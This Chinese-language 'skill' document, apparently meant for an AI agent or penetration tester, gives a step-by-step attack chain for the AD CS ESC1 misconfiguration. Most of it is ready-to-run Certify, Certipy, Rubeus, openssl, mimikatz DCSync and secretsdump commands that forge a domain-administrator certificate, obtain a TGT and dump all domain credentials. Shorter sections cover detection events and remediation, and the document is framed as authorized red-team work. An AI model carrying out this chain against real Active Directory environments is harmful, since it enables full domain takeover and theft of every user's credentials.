用途
本技能用于在获得授权的安全测试中,利用 Active Directory 证书服务(AD CS)的 ESC1 配置错误漏洞。ESC1 是 AD CS 中的一种严重错误配置:当证书模板启用了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志(也称“Supply in Request”),并且扩展密钥用法(EKU)允许客户端身份验证(如 Client Authentication、PKINIT Client Authentication、Smart Card Logon 或 Any Purpose)时,低权限用户即可在证书请求中指定任意 Subject Alternative Name(SAN),从而冒充任意域用户,包括域管理员。该漏洞由 SpecterOps 研究人员 Will Schroeder 和 Lee Christensen 在 2021 年的“Certified Pre-Owned”白皮书中记录,MITRE ATT&CK 将其归类为 T1649(窃取或伪造身份验证证书)。
主要能力
- 使用 Certify 或 Certipy 枚举 AD CS 基础设施与证书模板
- 识别启用了“Supply in Request”的易受攻击 ESC1 模板
- 在 SAN 字段中指定域管理员,申请证书
- 通过 PKINIT 使用伪造证书进行身份验证,获取 TGT
- 利用获得的 Kerberos 票据将权限提升至域管理员
- 记录完整攻击链以供报告
使用方式
阶段 1:AD CS 枚举
枚举域中的证书颁发机构(CA)服务器:
# 使用 Certify(Windows)
Certify.exe cas
# 使用 Certipy(Linux/Python)
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1
枚举所有证书模板并识别易受攻击的模板:
# 使用 Certify 查找易受攻击的模板
Certify.exe find /vulnerable
# 使用 Certipy 输出 JSON 和文本报告
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
验证已识别模板上的 ESC1 条件:
- msPKI-Certificate-Name-Flag 包含 ENROLLEE_SUPPLIES_SUBJECT
- pkiExtendedKeyUsage 包含 Client Authentication 或 Smart Card Logon
- msPKI-Enrollment-Flag 不要求管理员批准
- 低权限组(Domain Users、Authenticated Users)具有 Enroll 权限
阶段 2:使用任意 SAN 申请证书
使用易受攻击的模板申请证书,在 SAN 中指定域管理员:
# 使用 Certify(Windows)
Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator
# 使用 Certipy(Linux)
certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local
CA 将签发一个在 SAN 字段中包含域管理员 UPN 的证书。将输出证书保存为 PFX/PEM 格式。
阶段 3:使用伪造证书进行身份验证
如有需要,转换证书(Certify 输出 PEM,需转换为 PFX):
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
使用 PKINIT 进行身份验证,获取被冒充用户的 TGT:
# 使用 Rubeus(Windows)
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt
# 使用 Certipy(Linux)
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
TGT 现已加载到内存中(Windows),或恢复出 NT 哈希(Linux)。
阶段 4:域权限提升
使用域管理员 TGT 执行特权操作:
# 使用 DCSync 导出所有域凭据
mimikatz.exe "lsadump::dcsync /domain:domain.local /all"
# 或使用 secretsdump.py 配合获得的 NT 哈希
secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
验证域管理员访问权限:
# 列出域控制器
dir \\DC01.domain.local\C$
# 访问域管理员共享
dir \\DC01.domain.local\SYSVOL
适用场景
- 执行涉及利用 AD CS ESC1 的授权安全测试
- 在受控环境中分析恶意软件样本或攻击痕迹
- 开展红队演练或渗透测试项目
- 基于攻击技术理解构建检测能力
限制与前提
- 需要熟悉红队概念和工具
- 需要访问测试或实验环境以安全执行
- 需要 Python 3.8+ 及所需依赖
- 任何测试活动均需获得适当授权
工具与资源
| 工具 | 用途 | 平台 |
|---|---|---|
| Certify | AD CS 枚举与证书申请 | Windows (.NET) |
| Certipy | AD CS 枚举、申请与身份验证 | Linux (Python) |
| Rubeus | 使用证书进行 Kerberos 身份验证(PKINIT) | Windows (.NET) |
| Mimikatz | 提升后的凭据导出 | Windows |
| secretsdump.py | 远程凭据导出(Impacket) | Linux (Python) |
| PSPKIAudit | PowerShell AD CS 审计模块 | Windows |
| ForgeCert | 证书伪造工具 | Windows (.NET) |
易受攻击模板指标
| 条件 | 易受攻击值 |
|---|---|
| msPKI-Certificate-Name-Flag | ENROLLEE_SUPPLIES_SUBJECT (1) |
| pkiExtendedKeyUsage | Client Authentication (1.3.6.1.5.5.7.3.2) |
| 注册权限 | Domain Users 或 Authenticated Users |
| msPKI-Enrollment-Flag | 不要求管理员批准 |
| CA 设置 | 未强制执行批准工作流 |
检测特征
| 指标 | 检测方法 |
|---|---|
| 证书请求的 SAN 与请求者不同 | CA 服务器上的 Windows 事件 4886 / 4887 |
| 异常的 PKINIT 身份验证 | 带基于证书预认证的事件 4768 |
| Certify.exe 或 Certipy 执行 | EDR 进程监控与命令行日志记录 |
| 大规模证书模板枚举 | 对 pkiCertificateTemplate 对象的 LDAP 查询监控 |
| 证书签发给不匹配的 UPN | CA 审计日志与证书透明度 |
验证标准
- 已枚举 AD CS 证书颁发机构
- 已使用 Certify 或 Certipy 识别出易受攻击的 ESC1 模板
- 已成功申请带有域管理员 SAN 的证书
- 已使用伪造证书执行 PKINIT 身份验证
- 已获得域管理员 TGT
- 已验证对域控制器的特权访问
- 已记录带证据的完整攻击链
- 已提供修复建议(禁用 Supply in Request、要求管理员批准)